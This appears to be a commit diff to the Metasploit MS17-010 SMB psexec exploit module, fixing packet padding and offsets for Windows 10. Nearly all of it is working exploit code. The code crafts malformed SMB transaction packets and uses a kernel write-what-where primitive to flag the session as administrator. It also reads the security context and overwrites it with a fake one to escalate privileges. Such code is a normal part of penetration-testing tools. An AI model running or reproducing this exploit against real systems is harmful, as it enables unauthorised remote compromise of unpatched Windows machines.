fixed padding/offsets for win 10

MS-2855/keylogger-mettle-extension
zerosum0x0 2018-01-28 21:10:51 -07:00
parent 237c3f7b2c
commit 7cc00c0e10
2 changed files with 66 additions and 34 deletions

View File

@ -48,6 +48,11 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
# IsNullSession = 0, IsAdmin = 1
write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET'])
if datastore['DBGTRACE']
vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1")
end
modify_token()
@ctx['rekt'] = true # set if we need to clean up the token
@ -82,10 +87,22 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
fmt = @ctx['PTR_FMT']
# read session struct to get SecurityContext address
sessionData = read_data(@ctx['session'], 0x100)
if datastore['DBGTRACE']
vprint_status("Session Data: #{bin_to_hex(sessionData)}")
vprint_status("session dat len = #{sessionData.length}")
vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
end
#value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
#secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
if datastore['DBGTRACE']
vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
end
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
@ -120,16 +137,25 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
else
else
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
if datastore['DBGTRACE']
vprint_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
end
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
if datastore['DBGTRACE']
vprint_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
end
@ctx['secCtxData'] = secCtxData
@ctx['secCtxAddr'] = secCtxAddr
# see FAKE_SECCTX detail at top of the file
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
if datastore['DBGTRACE']
vprint_status("Overwrote fake secctx")
end
end
end
@ -785,7 +811,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
end
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16) }.join
s.each_byte.map { |b| "%02x" % b }.join
end
def recv_transaction_data(mid, len)
@ -818,12 +844,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
pkt = CONST::SMB_NTTRANS_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
param = param.b
data = data.b
# smb + wct + pb + bcc
param_offset = 32 + 39 + setup.length + 2 # 73 if setup.length == 0
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
@ -832,44 +852,32 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['DataOffset'] = param_offset + param.length
pkt['Payload'].v['SetupCount'] = setup.length
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Subcommand'] = subcommand
pkt['Payload'].v['Payload'] = param + data # strip padding
pkt = put_trans_data(pkt, data: data, param: param)
return pkt
end
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
param = param.b
data = data.b
base_offset = pkt.to_s.length - 4
param_offset = if param != '' then base_offset else 0 end
data_offset = if data != '' then base_offset + param.length else 0 end
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
pkt['Payload']['SMB'].v['WordCount'] = wct
pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = data.length
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['DataDisplace'] = dataDisplacement
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
pkt['Payload'].v['Payload'] = param + data
pkt = put_trans_data(pkt, data: data, param: param)
pkt
end
@ -877,35 +885,58 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
pkt = CONST::SMB_TRANS_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
param = param.b
data = data.b
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
base_offset = pkt.to_s.length - 4
param_offset = if param != '' then base_offset else 0 end
data_offset = if data != '' then base_offset + param.length else 0 end
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = data.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup.length
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Flags'] = 0
pkt['Payload'].v['Timeout'] = 0xffffffff
pkt['Payload'].v['Payload'] = param + data
pkt = put_trans_data(pkt, data: data, param: param)
pkt
end
# Note: Setup length is included when len(param) is called
def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
pkt['Payload'].v['ParamOffset'] = 0
pkt['Payload'].v['DataOffset'] = 0
# SMB header: 32 bytes
# WordCount: 1 bytes
# ByteCount: 2 bytes
#offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
len = pkt.to_s.length - 4
param = param.b
data = data.b
offset = len
transData = ''
if param != ''
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
pkt['Payload'].v['ParamOffset'] = offset + padLen
transData = ("\x00" * padLen) + param
offset += padLen + param.length
end
if data != ''
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
pkt['Payload'].v['DataOffset'] = offset + padLen
transData += ("\x00" * padLen) + data
end
pkt['Payload'].v['Payload'] = transData
pkt
end
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
pkt = CONST::SMB_BASE_PKT.make_struct
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
@ -1260,7 +1291,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
'x64' => {
'CPUARCH' => X64_INFO,
'OFFSETS' => WIN7_64_TRANS_INFO,
'SESSION' => WIN8_32_SESSION_INFO
'SESSION' => WIN8_64_SESSION_INFO
},
},
'WINXP' => {

View File

@ -102,6 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
print_error("#{e.message}")
rescue ::Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused => e